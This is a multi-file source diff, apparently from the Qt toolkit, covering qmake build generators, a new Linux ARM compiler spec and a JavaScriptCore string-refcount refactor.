+QMAKE_CFLAGS            += --gnu --arm_linux --dllimport_runtime --thumb --cpu Cortex-A9 --arm_linux_config_file="$(HOME)/qt_rvct_config" --arm-linux-paths --apcs=/interwork --visibility_inlines_hidden --diag_suppress 1300,2523
+QMAKE_CXXFLAGS          += $$QMAKE_CFLAGS --cpp
+
+QMAKE_LFLAGS            += --diag_suppress 6331,6780,6439 --arm_linux_config_file="$(HOME)/qt_rvct_config" --arm-linux-paths
diff --git a/mkspecs/unsupported/linux-armcc/qplatformdefs.h b/mkspecs/unsupported/linux-armcc/qplatformdefs.h
new file mode 100644
index 0000000..a1ce6a1
--- /dev/null
+++ b/mkspecs/unsupported/linux-armcc/qplatformdefs.h
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the qmake spec of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QPLATFORMDEFS_H
+#define QPLATFORMDEFS_H
+
+// Get Qt defines/settings
+
+#include "qglobal.h"
+
+// Set any POSIX/XOPEN defines at the top of this file to turn on specific APIs
+
+// 1) need to reset default environment if _BSD_SOURCE is defined
+// 2) need to specify POSIX thread interfaces explicitly in glibc 2.0
+// 3) it seems older glibc need this to include the X/Open stuff
+#ifndef _GNU_SOURCE
+#  define _GNU_SOURCE
+#endif
+
+#include <unistd.h>
+
+
+// We are hot - unistd.h should have turned on the specific APIs we requested
+
+#include <features.h>
+#include <pthread.h>
+#include <dirent.h>
+#include <fcntl.h>
+#include <grp.h>
+#include <pwd.h>
+#include <signal.h>
+
+#include <sys/types.h>
+#include <sys/ioctl.h>
+#include <sys/ipc.h>
+#include <sys/time.h>
+#include <sys/shm.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <netinet/in.h>
+#ifndef QT_NO_IPV6IFNAME
+#include <net/if.h>
+#endif
+
+#define QT_USE_XOPEN_LFS_EXTENSIONS
+#include "../../common/posix/qplatformdefs.h"
+
+#undef QT_SOCKLEN_T
+
+#if defined(__GLIBC__) && (__GLIBC__ >= 2)
+#define QT_SOCKLEN_T            socklen_t
+#else
+#define QT_SOCKLEN_T            int
+#endif
+
+#if defined(_XOPEN_SOURCE) && (_XOPEN_SOURCE >= 500)
+#define QT_SNPRINTF		::snprintf
+#define QT_VSNPRINTF		::vsnprintf
+#endif
+
+#endif // QPLATFORMDEFS_H
diff --git a/mkspecs/win32-g++/qmake.conf b/mkspecs/win32-g++/qmake.conf
index e5e4996..da65727 100644
--- a/mkspecs/win32-g++/qmake.conf
+++ b/mkspecs/win32-g++/qmake.conf
@@ -79,7 +79,7 @@ QMAKE_LIBS_QT_ENTRY     = -lmingw32 -lqtmain
 	QMAKE_DIR_SEP		= /
 	QMAKE_QMAKE		~= s,\\\\,/,
 	QMAKE_COPY		= cp
-	QMAKE_COPY_DIR		= xcopy /s /q /y /i
+	QMAKE_COPY_DIR		= cp -r
 	QMAKE_MOVE		= mv
 	QMAKE_DEL_FILE		= rm
 	QMAKE_MKDIR		= mkdir
diff --git a/qmake/cachekeys.h b/qmake/cachekeys.h
index 2957d61..b29e4f2 100644
--- a/qmake/cachekeys.h
+++ b/qmake/cachekeys.h
@@ -118,54 +118,6 @@ struct FileInfoCacheKey
 inline uint qHash(const FileInfoCacheKey &f) { return f.hashCode(); }
 
 // -------------------------------------------------------------------------------------------------
-struct FileFixifyCacheKey
-{
-    mutable uint hash;
-    QString in_d, out_d;
-    QString file, pwd;
-    uint fixType;
-    bool canonicalize;
-    FileFixifyCacheKey(const QString &f, const QString &od, const QString &id,
-                       uint ft, bool c)
-    {
-        hash = 0;
-        pwd = qmake_getpwd();
-        file = f;
-        if(od.isNull())
-            out_d = Option::output_dir;
-        else
-            out_d = od;
-        if(id.isNull())
-            in_d = qmake_getpwd();
-        else
-            in_d = id;
-        fixType = ft;
-        canonicalize = c;
-    }
-    QString toString() const {
-        return file + "--" + in_d + "--" + out_d + "--" + pwd + "--" +
-            QString::number(fixType) + "--" + QString::number((int)canonicalize);
-    }
-    bool operator==(const FileFixifyCacheKey &f) const
-    {
-        return (f.canonicalize == canonicalize &&
-                f.fixType == fixType &&
-                f.file == file &&
-                f.in_d == in_d &&
-                f.out_d == out_d &&
-                f.pwd == pwd);
-    }
-    inline uint hashCode() const {
-        if(!hash)
-            hash = uint(canonicalize) | uint(fixType) |
-                   qHash(file) | qHash(in_d) | qHash(out_d) /*|qHash(pwd)*/;
-        return hash;
-    }
-};
-
-inline uint qHash(const FileFixifyCacheKey &f) { return f.hashCode(); }
-// -------------------------------------------------------------------------------------------------
-
 template <typename T>
 inline void qmakeDeleteCacheClear(void *i) { delete reinterpret_cast<T*>(i); }
 
diff --git a/qmake/generators/makefile.cpp b/qmake/generators/makefile.cpp
index 595768f..7963976 100644
--- a/qmake/generators/makefile.cpp
+++ b/qmake/generators/makefile.cpp
@@ -2813,17 +2813,6 @@ MakefileGenerator::fileFixify(const QString& file, const QString &out_d, const Q
         return file;
     QString ret = unescapeFilePath(file);
 
-    //setup the cache
-    static QHash<FileFixifyCacheKey, QString> *cache = 0;
-    if(!cache) {
-        cache = new QHash<FileFixifyCacheKey, QString>;
-        qmakeAddCacheClear(qmakeDeleteCacheClear<QHash<FileFixifyCacheKey, QString> >, (void**)&cache);
-    }
-    FileFixifyCacheKey cacheKey(ret, out_d, in_d, fix, canon);
-    QString cacheVal = cache->value(cacheKey);
-    if(!cacheVal.isNull())
-        return cacheVal;
-
     //do the fixin'
     QString pwd = qmake_getpwd();
     if (!pwd.endsWith('/'))
@@ -2908,7 +2897,6 @@ MakefileGenerator::fileFixify(const QString& file, const QString &out_d, const Q
     debug_msg(3, "Fixed[%d,%d] %s :: to :: %s [%s::%s] [%s::%s]", fix, canon, orig_file.toLatin1().constData(),
               ret.toLatin1().constData(), in_d.toLatin1().constData(), out_d.toLatin1().constData(),
               pwd.toLatin1().constData(), Option::output_dir.toLatin1().constData());
-    cache->insert(cacheKey, ret);
     return ret;
 }
 
diff --git a/qmake/generators/symbian/symbiancommon.cpp b/qmake/generators/symbian/symbiancommon.cpp
index acd55e4..32b465b 100644
--- a/qmake/generators/symbian/symbiancommon.cpp
+++ b/qmake/generators/symbian/symbiancommon.cpp
@@ -79,11 +79,7 @@ void SymbianCommonGenerator::init()
         fixedTarget = project->first("TARGET");
     fixedTarget = generator->unescapeFilePath(fixedTarget);
     fixedTarget = removePathSeparators(fixedTarget);
-    if (project->first("MAKEFILE_GENERATOR") == "SYMBIAN_ABLD"
-        || project->first("MAKEFILE_GENERATOR") == "SYMBIAN_SBSV2")
-        removeEpocSpecialCharacters(fixedTarget);
-    else
-        removeSpecialCharacters(fixedTarget);
+    removeSpecialCharacters(fixedTarget);
 
     // This should not be empty since the mkspecs are supposed to set it if missing.
     uid3 = project->first("TARGET.UID3").trimmed();
@@ -131,18 +127,11 @@ bool SymbianCommonGenerator::containsStartWithItem(const QChar &c, const QString
 void SymbianCommonGenerator::removeSpecialCharacters(QString& str)
 {
     // When modifying this method check also symbianRemoveSpecialCharacters in symbian.conf
-    str.replace(QString("/"), QString("_"));
-    str.replace(QString("\\"), QString("_"));
-    str.replace(QString(" "), QString("_"));
-}
-
-void SymbianCommonGenerator::removeEpocSpecialCharacters(QString& str)
-{
-    // When modifying this method check also symbianRemoveSpecialCharacters in symbian.conf
-    str.replace(QString("-"), QString("_"));
-    str.replace(QString(":"), QString("_"));
-    str.replace(QString("."), QString("_"));
-    removeSpecialCharacters(str);
+    QString underscore = QLatin1String("_");
+    str.replace(QLatin1String("/"), underscore);
+    str.replace(QLatin1String("\\"), underscore);
+    str.replace(QLatin1String(" "), underscore);
+    str.replace(QLatin1String(":"), underscore);
 }
 
 QString romPath(const QString& path)
diff --git a/qmake/generators/symbian/symbiancommon.h b/qmake/generators/symbian/symbiancommon.h
index 0b5f53d..5182021 100644
--- a/qmake/generators/symbian/symbiancommon.h
+++ b/qmake/generators/symbian/symbiancommon.h
@@ -82,7 +82,6 @@ protected:
 
     QString removePathSeparators(QString &file);
     void removeSpecialCharacters(QString& str);
-    void removeEpocSpecialCharacters(QString& str);
     void generatePkgFile(const QString &iconFile,
                          bool epocBuild,
                          const SymbianLocalizationList &symbianLocalizationList);
diff --git a/qmake/generators/symbian/symmake.cpp b/qmake/generators/symbian/symmake.cpp
index e6c9666..08d3370 100644
--- a/qmake/generators/symbian/symmake.cpp
+++ b/qmake/generators/symbian/symmake.cpp
@@ -83,6 +83,8 @@
 #define VAR_CFLAGS "QMAKE_CFLAGS"
 #define VAR_LFLAGS "QMAKE_LFLAGS"
 
+#define DEFINE_REPLACE_REGEXP "[^A-Z0-9_]"
+
 QString SymbianMakefileGenerator::fixPathForMmp(const QString& origPath, const QDir& parentDir)
 {
     static QString epocRootStr;
@@ -165,11 +167,15 @@ void SymbianMakefileGenerator::writeHeader(QTextStream &t)
     QString bldinfDefine = shortProFilename;
     bldinfDefine.append("_");
     bldinfDefine.append(generate_uid(project->projectFile()));
+    bldinfDefine = bldinfDefine.toUpper();
+
+    // replace anything not alphanumeric with underscore
+    QRegExp replacementMask(DEFINE_REPLACE_REGEXP);
+    bldinfDefine.replace(replacementMask, QLatin1String("_"));
 
     bldinfDefine.prepend("BLD_INF_");
-    removeEpocSpecialCharacters(bldinfDefine);
 
-    t << "#define " << bldinfDefine.toUpper() << endl << endl;
+    t << "#define " << bldinfDefine << endl << endl;
 }
 
 bool SymbianMakefileGenerator::writeMakefile(QTextStream &t)
@@ -892,13 +898,17 @@ void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploy
 
     const QStringList &subdirs = project->values("SUBDIRS");
     foreach(QString item, subdirs) {
+        bool fromFile = false;
         QString fixedItem;
         if (!project->isEmpty(item + ".file")) {
             fixedItem = project->first(item + ".file");
+            fromFile = true;
         } else if (!project->isEmpty(item + ".subdir")) {
             fixedItem = project->first(item + ".subdir");
+            fromFile = false;
         } else {
             fixedItem = item;
+            fromFile = item.endsWith(Option::pro_ext);
         }
 
         QString condition;
@@ -907,9 +917,15 @@ void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploy
 
         QFileInfo subdir(fileInfo(fixedItem));
         QString relativePath = directory.relativeFilePath(fixedItem);
-        QString subdirFileName = subdir.completeBaseName();
-        QString fullProName = subdir.absoluteFilePath();;
+        QString fullProName = subdir.absoluteFilePath();
         QString bldinfFilename;
+        QString subdirFileName;
+
+        if (fromFile) {
+            subdirFileName = subdir.completeBaseName();
+        } else {
+            subdirFileName = subdir.fileName();
+        }
 
         if (subdir.isDir()) {
             // Subdir is a regular project
@@ -931,7 +947,10 @@ void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploy
         QString uid = generate_uid(fullProName);
         QString bldinfDefine = QString("BLD_INF_") + subdirFileName + QString("_") + uid;
         bldinfDefine = bldinfDefine.toUpper();
-        removeEpocSpecialCharacters(bldinfDefine);
+
+        // replace anything not alphanumeric with underscore
+        QRegExp replacementMask(DEFINE_REPLACE_REGEXP);
+        bldinfDefine.replace(replacementMask, QLatin1String("_"));
 
         if (!condition.isEmpty())
             t << "#if defined(" << condition << ")" << endl;
diff --git a/qmake/generators/symbian/symmake_abld.cpp b/qmake/generators/symbian/symmake_abld.cpp
index 5729e26..b582257 100644
--- a/qmake/generators/symbian/symmake_abld.cpp
+++ b/qmake/generators/symbian/symmake_abld.cpp
@@ -190,6 +190,7 @@ void SymbianAbldMakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, bool
     t << "QMAKE             = " << var("QMAKE_QMAKE") << endl;
     t << "DEL_FILE          = " << var("QMAKE_DEL_FILE") << endl;
     t << "DEL_DIR           = " << var("QMAKE_DEL_DIR") << endl;
+    t << "DEL_TREE          = " << var("QMAKE_DEL_TREE") << endl;
     t << "MOVE              = " << var("QMAKE_MOVE") << endl;
     t << "CHK_DIR_EXISTS    = " << var("QMAKE_CHK_DIR_EXISTS") << endl;
     t << "MKDIR             = " << var("QMAKE_MKDIR") << endl;
@@ -329,7 +330,8 @@ void SymbianAbldMakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, bool
         // Note: EXTENSION_CLEAN will get called many times when doing reallyclean
         //       This is why the "2> NUL" gets appended to generated clean targets in makefile.cpp.
         t << EXTENSION_CLEAN ": " COMPILER_CLEAN_TARGET << endl;
-        generateCleanCommands(t, dirsToClean, var("QMAKE_DEL_TREE"), "", "", "");
+        generateCleanCommands(t, dirsToClean, "$(DEL_TREE)", "", "", "");
+        generateCleanCommands(t, project->values("QMAKE_CLEAN"), "$(DEL_FILE)", "", "", "");
         t << endl;
 
         t << PRE_TARGETDEPS_TARGET ":"
diff --git a/qmake/generators/symbian/symmake_sbsv2.cpp b/qmake/generators/symbian/symmake_sbsv2.cpp
index 9eccd46..f94a63f 100644
--- a/qmake/generators/symbian/symmake_sbsv2.cpp
+++ b/qmake/generators/symbian/symmake_sbsv2.cpp
@@ -721,6 +721,18 @@ void SymbianSbsv2MakefileGenerator::writeBldInfExtensionRulesPart(QTextStream& t
     t << "END" << endl;
     t << endl;
 
+    // Handle QMAKE_CLEAN
+    QStringList cleanFiles = project->values("QMAKE_CLEAN");
+    if (!cleanFiles.isEmpty()) {
+        QStringList absoluteCleanFiles;
+        foreach (QString cleanFile, cleanFiles) {
+            QFileInfo fi(cleanFile);
+            absoluteCleanFiles << fi.absoluteFilePath();
+        }
+        t << "START EXTENSION qt/qmake_clean" << endl;
+        t << "OPTION CLEAN_FILES " << absoluteCleanFiles.join(" ") << endl;
+        t << "END" << endl;
+    }
     t << endl;
 }
 
diff --git a/qmake/generators/unix/unixmake.cpp b/qmake/generators/unix/unixmake.cpp
index 29d85f7..e659e62 100644
--- a/qmake/generators/unix/unixmake.cpp
+++ b/qmake/generators/unix/unixmake.cpp
@@ -148,6 +148,8 @@ UnixMakefileGenerator::init()
                 project->values("QMAKE_LFLAGS") += var("QMAKE_LFLAGS_RPATH") + libdirs[i];
             if (project->isActiveConfig("rvct_linker")) {
                 project->values("QMAKE_LIBDIR_FLAGS") += "--userlibpath " + escapeFilePath(libdirs[i]);
+            } else if (project->isActiveConfig("armcc_linker")) {
+                project->values("QMAKE_LIBDIR_FLAGS") += "-L--userlibpath=" + escapeFilePath(libdirs[i]);
             } else {
                 project->values("QMAKE_LIBDIR_FLAGS") += "-L" + escapeFilePath(libdirs[i]);
             }
@@ -486,7 +488,7 @@ UnixMakefileGenerator::findLibraries()
                 } else if(opt.startsWith("-l")) {
                     if (!project->isEmpty("QMAKE_RVCT_LINKSTYLE")) {
                         (*it) = opt.mid(2);
-                    } else if (project->isActiveConfig("rvct_linker")) {
+                    } else if (project->isActiveConfig("rvct_linker") || project->isActiveConfig("armcc_linker")) {
                         (*it) = "lib" + opt.mid(2) + ".so";
                     } else {
                         stub = opt.mid(2);
diff --git a/qmake/generators/win32/msvc_vcproj.cpp b/qmake/generators/win32/msvc_vcproj.cpp
index 0df33d0..8455189 100644
--- a/qmake/generators/win32/msvc_vcproj.cpp
+++ b/qmake/generators/win32/msvc_vcproj.cpp
@@ -1072,22 +1072,26 @@ void VcprojGenerator::initPreBuildEventTools()
 void VcprojGenerator::initPostBuildEventTools()
 {
     VCConfiguration &conf = vcProject.Configuration;
-    if(!project->values("QMAKE_POST_LINK").isEmpty()) {
+    if (!project->values("QMAKE_POST_LINK").isEmpty()) {
         QStringList cmdline = VCToolBase::fixCommandLine(var("QMAKE_POST_LINK"));
         conf.postBuild.CommandLine = cmdline;
         conf.postBuild.Description = cmdline.join(QLatin1String("\r\n"));
+        conf.postBuild.ExcludedFromBuild = _False;
     }
 
     QString signature = !project->isEmpty("SIGNATURE_FILE") ? var("SIGNATURE_FILE") : var("DEFAULT_SIGNATURE");
     bool useSignature = !signature.isEmpty() && !project->isActiveConfig("staticlib") &&
                         !project->isEmpty("CE_SDK") && !project->isEmpty("CE_ARCH");
-    if(useSignature)
+    if (useSignature) {
         conf.postBuild.CommandLine.prepend(
                 QLatin1String("signtool sign /F ") + signature + QLatin1String(" \"$(TargetPath)\""));
+        conf.postBuild.ExcludedFromBuild = _False;
+    }
 
-    if(!project->values("MSVCPROJ_COPY_DLL").isEmpty()) {
+    if (!project->values("MSVCPROJ_COPY_DLL").isEmpty()) {
         conf.postBuild.Description += var("MSVCPROJ_COPY_DLL_DESC");
         conf.postBuild.CommandLine += var("MSVCPROJ_COPY_DLL");
+        conf.postBuild.ExcludedFromBuild = _False;
     }
 }
 
@@ -1218,6 +1222,7 @@ void VcprojGenerator::initPreLinkEventTools()
         QStringList cmdline = VCToolBase::fixCommandLine(var("QMAKE_PRE_LINK"));
         conf.preLink.CommandLine = cmdline;
         conf.preLink.Description = cmdline.join(QLatin1String("\r\n"));
+        conf.preLink.ExcludedFromBuild = _False;
     }
 }
 
diff --git a/qmake/option.cpp b/qmake/option.cpp
index fcbf5fa..7bee659 100644
--- a/qmake/option.cpp
+++ b/qmake/option.cpp
@@ -624,16 +624,18 @@ Option::fixString(QString string, uchar flags)
         qmakeAddCacheClear(qmakeDeleteCacheClear<QHash<FixStringCacheKey, QString> >, (void**)&cache);
     }
     FixStringCacheKey cacheKey(string, flags);
-    if(cache->contains(cacheKey)) {
-	const QString ret = cache->value(cacheKey);
-	//qDebug() << "Fix (cached) " << orig_string << "->" << ret;
-        return ret;
+
+    QHash<FixStringCacheKey, QString>::const_iterator it = cache->constFind(cacheKey);
+
+    if (it != cache->constEnd()) {
+        //qDebug() << "Fix (cached) " << orig_string << "->" << it.value();
+        return it.value();
     }
 
     //fix the environment variables
     if(flags & Option::FixEnvVars) {
         int rep;
-        QRegExp reg_var("\\$\\(.*\\)");
+        static QRegExp reg_var("\\$\\(.*\\)");
         reg_var.setMinimal(true);
         while((rep = reg_var.indexIn(string)) != -1)
             string.replace(rep, reg_var.matchedLength(),
diff --git a/qmake/project.cpp b/qmake/project.cpp
index af8cdf6..7cc1cb6 100644
--- a/qmake/project.cpp
+++ b/qmake/project.cpp
@@ -228,7 +228,7 @@ static QString varMap(const QString &x)
     return ret;
 }
 
-static QStringList split_arg_list(QString params)
+static QStringList split_arg_list(const QString &params)
 {
     int quote = 0;
     QStringList args;
@@ -253,6 +253,8 @@ static QStringList split_arg_list(QString params)
                 while(x > last && params_data[x-1].unicode() == SPACE)
                     --x;
                 args << params.mid(last, x - last);
+                // Could do a check for unmatched parens here, but split_value_list()
+                // is called on all our output, so mistakes will be caught anyway.
                 return args;
             }
             ushort unicode = params_data[x].unicode();
@@ -285,6 +287,7 @@ static QStringList split_value_list(const QString &vals)
     QString build;
     QStringList ret;
     ushort quote = 0;
+    int parens = 0;
 
     const ushort LPAREN = '(';
     const ushort RPAREN = ')';
@@ -295,7 +298,7 @@ static QStringList split_value_list(const QString &vals)
     ushort unicode;
     const QChar *vals_data = vals.data();
     const int vals_len = vals.length();
-    for(int x = 0, parens = 0; x < vals_len; x++) {
+    for(int x = 0; x < vals_len; x++) {
         unicode = vals_data[x].unicode();
         if(x != (int)vals_len-1 && unicode == BACKSLASH &&
             (vals_data[x+1].unicode() == SINGLEQUOTE || vals_data[x+1].unicode() == DOUBLEQUOTE)) {
@@ -319,6 +322,11 @@ static QStringList split_value_list(const QString &vals)
     }
     if(!build.isEmpty())
         ret << build;
+    if (parens)
+        warn_msg(WarnDeprecated, "%s:%d: Unmatched parentheses are deprecated.",
+                 parser.file.toLatin1().constData(), parser.line_no);
+    // Could do a check for unmatched quotes here, but doVariableReplaceExpand()
+    // is called on all our output, so mistakes will be caught anyway.
     return ret;
 }
 
@@ -1678,10 +1686,10 @@ QMakeProject::doProjectInclude(QString file, uchar flags, QMap<QString, QStringL
             }
             if(format == UnknownFormat)
                 return IncludeNoExist;
-            if(place["QMAKE_INTERNAL_INCLUDED_FEATURES"].indexOf(file) != -1)
-                return IncludeFeatureAlreadyLoaded;
-            place["QMAKE_INTERNAL_INCLUDED_FEATURES"].append(file);
         }
+        if(place["QMAKE_INTERNAL_INCLUDED_FEATURES"].indexOf(file) != -1)
+            return IncludeFeatureAlreadyLoaded;
+        place["QMAKE_INTERNAL_INCLUDED_FEATURES"].append(file);
     }
     if(QDir::isRelativePath(file)) {
         QStringList include_roots;
@@ -2963,6 +2971,9 @@ QMakeProject::doVariableReplaceExpand(const QString &str, QMap<QString, QStringL
     else if(!current.isEmpty())
         ret.append(current);
     //qDebug() << "REPLACE" << str << ret;
+    if (quote)
+        warn_msg(WarnDeprecated, "%s:%d: Unmatched quotes are deprecated.",
+                 parser.file.toLatin1().constData(), parser.line_no);
     return ret;
 }
 
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
index c2b1155..9cbf0c1 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
@@ -358,6 +358,31 @@
 
         * wtf/AlwaysInline.h:
 
+2010-02-12  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33731
+        Many false leaks in release builds due to PtrAndFlags
+
+        Remove UntypedPtrAndBitfield (similar to PtrAndFlags) in UStringImpl,
+        and steal bits from the refCount instead.
+
+        * runtime/UStringImpl.cpp:
+        (JSC::UStringImpl::baseSharedBuffer):
+        (JSC::UStringImpl::~UStringImpl):
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::cost):
+        (JSC::UStringImpl::isIdentifier):
+        (JSC::UStringImpl::setIsIdentifier):
+        (JSC::UStringImpl::ref):
+        (JSC::UStringImpl::deref):
+        (JSC::UStringImpl::UStringImpl):
+        (JSC::UStringImpl::bufferOwnerString):
+        (JSC::UStringImpl::bufferOwnership):
+        (JSC::UStringImpl::isStatic):
+        (JSC::UStringImpl::):
+
 2010-02-12  Kwang Yul Seo  <skyul@company100.net>
 
         Reviewed by Adam Barth.
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp
index 4b0d1c9..4fde49e 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp
@@ -38,12 +38,14 @@ namespace JSC {
 SharedUChar* UStringImpl::baseSharedBuffer()
 {
     ASSERT((bufferOwnership() == BufferShared)
-        || ((bufferOwnership() == BufferOwned) && !m_dataBuffer.asPtr<void*>()));
+        || ((bufferOwnership() == BufferOwned) && !m_buffer));
 
-    if (bufferOwnership() != BufferShared)
-        m_dataBuffer = UntypedPtrAndBitfield(SharedUChar::create(new OwnFastMallocPtr<UChar>(m_data)).releaseRef(), BufferShared);
+    if (bufferOwnership() != BufferShared) {
+        m_refCountAndFlags = (m_refCountAndFlags & ~s_refCountMaskBufferOwnership) | BufferShared;
+        m_bufferShared = SharedUChar::create(new OwnFastMallocPtr<UChar>(m_data)).releaseRef();
+    }
 
-    return m_dataBuffer.asPtr<SharedUChar*>();
+    return m_bufferShared;
 }
 
 SharedUChar* UStringImpl::sharedBuffer()
@@ -71,10 +73,10 @@ UStringImpl::~UStringImpl()
         if (bufferOwnership() == BufferOwned)
             fastFree(m_data);
         else if (bufferOwnership() == BufferSubstring)
-            m_dataBuffer.asPtr<UStringImpl*>()->deref();
+            m_bufferSubstring->deref();
         else {
             ASSERT(bufferOwnership() == BufferShared);
-            m_dataBuffer.asPtr<SharedUChar*>()->deref();
+            m_bufferShared->deref();
         }
     }
 }
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h
index 4e1ddc7..e6d1a8a 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h
@@ -40,48 +40,6 @@ class IdentifierTable;
   
 typedef CrossThreadRefCounted<OwnFastMallocPtr<UChar> > SharedUChar;
 
-class UntypedPtrAndBitfield {
-public:
-    UntypedPtrAndBitfield() {}
-
-    UntypedPtrAndBitfield(void* ptrValue, uintptr_t bitValue)
-        : m_value(reinterpret_cast<uintptr_t>(ptrValue) | bitValue)
-#ifndef NDEBUG
-        , m_leaksPtr(ptrValue)
-#endif
-    {
-        ASSERT(ptrValue == asPtr<void*>());
-        ASSERT((*this & ~s_alignmentMask) == bitValue);
-    }
-
-    template<typename T>
-    T asPtr() const { return reinterpret_cast<T>(m_value & s_alignmentMask); }
-
-    UntypedPtrAndBitfield& operator&=(uintptr_t bits)
-    {
-        m_value &= bits | s_alignmentMask;
-        return *this;
-    }
-
-    UntypedPtrAndBitfield& operator|=(uintptr_t bits)
-    {
-        m_value |= bits & ~s_alignmentMask;
-        return *this;
-    }
-
-    uintptr_t operator&(uintptr_t mask) const
-    {
-        return m_value & mask & ~s_alignmentMask;
-    }
-
-private:
-    static const uintptr_t s_alignmentMask = ~static_cast<uintptr_t>(0x7);
-    uintptr_t m_value;
-#ifndef NDEBUG
-        void* m_leaksPtr; // Only used to allow tools like leaks on OSX to detect that the memory is referenced.
-#endif
-};
-
 class UStringImpl : Noncopyable {
 public:
     template<size_t inlineCapacity>
@@ -151,21 +109,27 @@ public:
     {
         // For substrings, return the cost of the base string.
         if (bufferOwnership() == BufferSubstring)
-            return m_dataBuffer.asPtr<UStringImpl*>()->cost();
+            return m_bufferSubstring->cost();
 
-        if (m_dataBuffer & s_reportedCostBit)
+        if (m_refCountAndFlags & s_refCountFlagHasReportedCost)
             return 0;
-        m_dataBuffer |= s_reportedCostBit;
+        m_refCountAndFlags |= s_refCountFlagHasReportedCost;
         return m_length;
     }
     unsigned hash() const { if (!m_hash) m_hash = computeHash(data(), m_length); return m_hash; }
     unsigned existingHash() const { ASSERT(m_hash); return m_hash; } // fast path for Identifiers
     void setHash(unsigned hash) { ASSERT(hash == computeHash(data(), m_length)); m_hash = hash; } // fast path for Identifiers
-    bool isIdentifier() const { return m_isIdentifier; }
-    void setIsIdentifier(bool isIdentifier) { m_isIdentifier = isIdentifier; }
+    bool isIdentifier() const { return m_refCountAndFlags & s_refCountFlagIsIdentifier; }
+    void setIsIdentifier(bool isIdentifier)
+    {
+        if (isIdentifier)
+            m_refCountAndFlags |= s_refCountFlagIsIdentifier;
+        else
+            m_refCountAndFlags &= ~s_refCountFlagIsIdentifier;
+    }
 
-    UStringImpl* ref() { m_refCount += s_refCountIncrement; return this; }
-    ALWAYS_INLINE void deref() { if (!(m_refCount -= s_refCountIncrement)) delete this; }
+    UStringImpl* ref() { m_refCountAndFlags += s_refCountIncrement; return this; }
+    ALWAYS_INLINE void deref() { m_refCountAndFlags -= s_refCountIncrement; if (!(m_refCountAndFlags & s_refCountMask)) delete this; }
 
     static void copyChars(UChar* destination, const UChar* source, unsigned numCharacters)
     {
@@ -205,11 +169,10 @@ private:
     // Used to construct normal strings with an internal or external buffer.
     UStringImpl(UChar* data, int length, BufferOwnership ownership)
         : m_data(data)
+        , m_buffer(0)
         , m_length(length)
-        , m_refCount(s_refCountIncrement)
+        , m_refCountAndFlags(s_refCountIncrement | ownership)
         , m_hash(0)
-        , m_isIdentifier(false)
-        , m_dataBuffer(0, ownership)
     {
         ASSERT((ownership == BufferInternal) || (ownership == BufferOwned));
         checkConsistency();
@@ -221,11 +184,10 @@ private:
     enum StaticStringConstructType { ConstructStaticString };
     UStringImpl(UChar* data, int length, StaticStringConstructType)
         : m_data(data)
+        , m_buffer(0)
         , m_length(length)
-        , m_refCount(s_staticRefCountInitialValue)
+        , m_refCountAndFlags(s_refCountFlagStatic | BufferOwned)
         , m_hash(0)
-        , m_isIdentifier(false)
-        , m_dataBuffer(0, BufferOwned)
     {
         checkConsistency();
     }
@@ -233,28 +195,26 @@ private:
     // Used to create new strings that are a substring of an existing string.
     UStringImpl(UChar* data, int length, PassRefPtr<UStringImpl> base)
         : m_data(data)
+        , m_bufferSubstring(base.releaseRef())
         , m_length(length)
-        , m_refCount(s_refCountIncrement)
+        , m_refCountAndFlags(s_refCountIncrement | BufferSubstring)
         , m_hash(0)
-        , m_isIdentifier(false)
-        , m_dataBuffer(base.releaseRef(), BufferSubstring)
     {
         // Do use static strings as a base for substrings; UntypedPtrAndBitfield assumes
         // that all pointers will be at least 8-byte aligned, we cannot guarantee that of
         // UStringImpls that are not heap allocated.
-        ASSERT(m_dataBuffer.asPtr<UStringImpl*>()->size());
-        ASSERT(!m_dataBuffer.asPtr<UStringImpl*>()->isStatic());
+        ASSERT(m_bufferSubstring->size());
+        ASSERT(!m_bufferSubstring->isStatic());
         checkConsistency();
     }
